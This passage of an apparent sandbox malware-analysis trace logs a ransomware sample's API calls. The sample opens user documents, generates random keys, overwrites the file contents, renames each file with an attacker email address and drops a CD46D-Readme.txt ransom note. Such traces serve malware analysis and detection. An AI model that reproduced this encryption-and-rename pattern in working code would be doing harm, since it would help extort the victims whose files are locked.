(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\enrp6x.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6ac [0047.650] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x5b8f894 | out: lpFileSize=0x5b8f894*=32915) returned 1 [0047.650] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x808f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.650] ReadFile (in: hFile=0x6ac, lpBuffer=0x5b8f818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5b8f814, lpOverlapped=0x0 | out: lpBuffer=0x5b8f818*, lpNumberOfBytesRead=0x5b8f814*=0x4, lpOverlapped=0x0) returned 1 [0047.651] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.651] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.651] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46d78 [0047.651] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46df0 [0047.651] NtQuerySystemTime (in: CurrentTime=0x5b8f7f4 | out: CurrentTime=0x5b8f7f4*=132174898116348000) returned 0x0 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x2519d62e [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0xb011163 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x642ef082 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x16ee7ea7 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x25c6b843 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x2596871a [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x485f9a63 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x6430dd71 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x72f11299 [0047.651] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x4245b6d1 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x735ffc72 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x448cdb6a [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x4123f00d [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x7d86c7d9 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x55117c5 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0xa69f3cc [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x49e6217e [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x1bc9ca90 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x6b3e47e9 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x51e4f57e [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x70258bfe [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x2b20512e [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x28a271a6 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x10d7881e [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x783aac69 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x5d2970ed [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x22e53741 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x6d38a902 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x1c1f35b2 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x2b6606fc [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x7ff2f40 [0047.652] RtlRandomEx (in: Seed=0x5b8f800 | out: Seed=0x5b8f800) returned 0x1ce4ac65 [0047.663] ReadFile (in: hFile=0x6ac, lpBuffer=0x95e9058, nNumberOfBytesToRead=0x8093, lpNumberOfBytesRead=0x5b8f7f0, lpOverlapped=0x0 | out: lpBuffer=0x95e9058*, lpNumberOfBytesRead=0x5b8f7f0*=0x8093, lpOverlapped=0x0) returned 1 [0047.665] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.665] WriteFile (in: hFile=0x6ac, lpBuffer=0x95f5860*, nNumberOfBytesToWrite=0x8093, lpNumberOfBytesWritten=0x5b8f7ec, lpOverlapped=0x0 | out: lpBuffer=0x95f5860*, lpNumberOfBytesWritten=0x5b8f7ec*=0x8093, lpOverlapped=0x0) returned 1 [0048.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf98 [0048.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0048.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edfc0) returned 1 [0048.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f5860) returned 1 [0048.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9058) returned 1 [0048.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45a58) returned 1 [0048.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402690) returned 1 [0048.017] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4ef0d8 [0048.017] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.017] WriteFile (in: hFile=0x6ac, lpBuffer=0x5e47860*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x5b8f854, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesWritten=0x5b8f854*=0x107, lpOverlapped=0x0) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef108) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edfc0) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef0d8) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf98) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46d78) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e18) returned 1 [0048.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e40) returned 1 [0048.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x442a50 [0048.115] wcscpy (in: _Dest=0x442a50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx" [0048.115] wcscat (in: _Dest=0x442a50, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0048.115] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5b8f80c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00470 [0048.116] NtSetInformationFile (FileHandle=0x6ac, IoStatusBlock=0x5b8f804, FileInformation=0x5e00470, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0048.173] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0048.173] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x454408) returned 1 [0048.173] NtQueryInformationFile (in: FileHandle=0x6ac, IoStatusBlock=0x5b8f818, FileInformation=0x5b8f7f0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5b8f818, FileInformation=0x5b8f7f0) returned 0x0 [0048.173] NtSetInformationFile (FileHandle=0x6ac, IoStatusBlock=0x5b8f818, FileInformation=0x5b8f7f0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442a50) returned 1 [0048.178] FlushFileBuffers (hFile=0x6ac) returned 1 [0048.180] CloseHandle (hObject=0x6ac) returned 1 [0048.181] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e98 [0048.181] wcscpy (in: _Dest=0x400e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.181] wcscat (in: _Dest=0x400e98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.181] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0xffffffff [0048.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0048.211] WriteFile (in: hFile=0x6c0, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x5b8f814, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x5b8f814*=0x6fd, lpOverlapped=0x0) returned 1 [0048.212] CloseHandle (hObject=0x6c0) returned 1 [0048.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e98) returned 1 [0048.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4215e8) returned 1 Thread: id = 313 os_tid = 0xb5c [0047.671] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fnspzxua.docx")) returned 0x20 [0047.671] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx", dwFileAttributes=0x20) returned 1 [0047.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fnspzxua.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6b0 [0047.671] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x5f8f858 | out: lpFileSize=0x5f8f858*=80177) returned 1 [0047.671] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x1392d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.671] ReadFile (in: hFile=0x6b0, lpBuffer=0x5f8f7dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5f8f7d8, lpOverlapped=0x0 | out: lpBuffer=0x5f8f7dc*, lpNumberOfBytesRead=0x5f8f7d8*=0x4, lpOverlapped=0x0) returned 1 [0047.672] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46df0 [0047.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46e68 [0047.672] NtQuerySystemTime (in: CurrentTime=0x5f8f7b8 | out: CurrentTime=0x5f8f7b8*=132174898116504000) returned 0x0 [0047.672] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x2a19f298 [0047.672] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x791ad18e [0047.672] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x177ff98b [0047.672] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x29de70cd [0047.672] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x32f17439 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0xbe21d2d [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x48d70cc6 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x1d509e73 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x73160f0c [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x25043069 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x400162a5 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x75bc9934 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x733f2402 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x10eb5729 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x468855ff [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x4821a96d [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x20b9b26b [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x43fab97e [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x6e004b03 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x74b31691 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x50c84a1e [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x4f7d7a77 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x49cbcfac [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x4f1fdab4 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x3bd2e2f8 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x77ebe0a5 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x70cb1cbc [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x580a85d [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x2b1eaf6 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x3178da30 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x2492cd45 [0047.673] RtlRandomEx (in: Seed=0x5f8f7c4 | out: Seed=0x5f8f7c4) returned 0x952c820 [0047.685] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.685] ReadFile (in: hFile=0x6b0, lpBuffer=0x9602068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x5f8f798, lpOverlapped=0x0 | out: lpBuffer=0x9602068*, lpNumberOfBytesRead=0x5f8f798*=0xc800, lpOverlapped=0x0) returned 1 [0047.686] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c78 [0047.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45ad0 [0047.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.686] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46c60) returned 1 [0047.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x960e870 [0047.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46e68 [0047.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e68) returned 1 [0047.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 [0047.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0047.689] WriteFile (in: hFile=0x6b0, lpBuffer=0x960e870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x5f8f798, lpOverlapped=0x0 | out: lpBuffer=0x960e870*, lpNumberOfBytesWritten=0x5f8f798*=0xc800, lpOverlapped=0x0) returned 1 [0048.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x960e870) returned 1 [0048.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9602068) returned 1 [0048.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4ef138 [0048.025] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.025] WriteFile (in: hFile=0x6b0, lpBuffer=0x5e47970*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x5f8f818, lpOverlapped=0x0 | out: lpBuffer=0x5e47970*, lpNumberOfBytesWritten=0x5f8f818*=0x10b, lpOverlapped=0x0) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47970) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef168) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47078) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef138) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46c60) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46df0) returned 1 [0048.116] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e90) returned 1 [0048.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46eb8) returned 1 [0048.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x4efa90 [0048.117] wcscpy (in: _Dest=0x4efa90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx" [0048.117] wcscat (in: _Dest=0x4efa90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d" [0048.117] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5f8f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40cbf0 [0048.117] NtSetInformationFile (FileHandle=0x6b0, IoStatusBlock=0x5f8f7c8, FileInformation=0x40cbf0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0048.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cbf0) returned 1 [0048.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x454630) returned 1 [0048.175] NtQueryInformationFile (in: FileHandle=0x6b0, IoStatusBlock=0x5f8f7dc, FileInformation=0x5f8f7b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5f8f7dc, FileInformation=0x5f8f7b4) returned 0x0 [0048.175] NtSetInformationFile (FileHandle=0x6b0, IoStatusBlock=0x5f8f7dc, FileInformation=0x5f8f7b4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.182] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4efa90) returned 1 [0048.182] FlushFileBuffers (hFile=0x6b0) returned 1 [0048.184] CloseHandle (hObject=0x6b0) returned 1 [0048.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400f18 [0048.186] wcscpy (in: _Dest=0x400f18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.186] wcscat (in: _Dest=0x400f18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.186] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.210] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400f18) returned 1 [0048.210] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4194f0) returned 1 Thread: id = 314 os_tid = 0xb60 [0047.689] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f_elc.ots")) returned 0x20 [0047.689] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots", dwFileAttributes=0x20) returned 1 [0047.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f_elc.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6b4 [0047.690] GetFileSizeEx (in: hFile=0x6b4, lpFileSize=0x628ff1c | out: lpFileSize=0x628ff1c*=99481) returned 1 [0047.690] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x18495, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.690] ReadFile (in: hFile=0x6b4, lpBuffer=0x628fea0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x628fe9c, lpOverlapped=0x0 | out: lpBuffer=0x628fea0*, lpNumberOfBytesRead=0x628fe9c*=0x4, lpOverlapped=0x0) returned 1 [0047.691] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46e68 [0047.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46ee0 [0047.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46f08 [0047.691] NtQuerySystemTime (in: CurrentTime=0x628fe7c | out: CurrentTime=0x628fe7c*=132174898116660000) returned 0x0 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x79459f02 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x1d71c2ee [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x1a088dd2 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x3e78c391 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x27eb104f [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x6f7b7268 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x5b6a7fea [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x692d635a [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0xa352165 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x60529371 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x3890d96d [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x11de487b [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x45f13ce6 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x785261af [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x7054dba9 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: 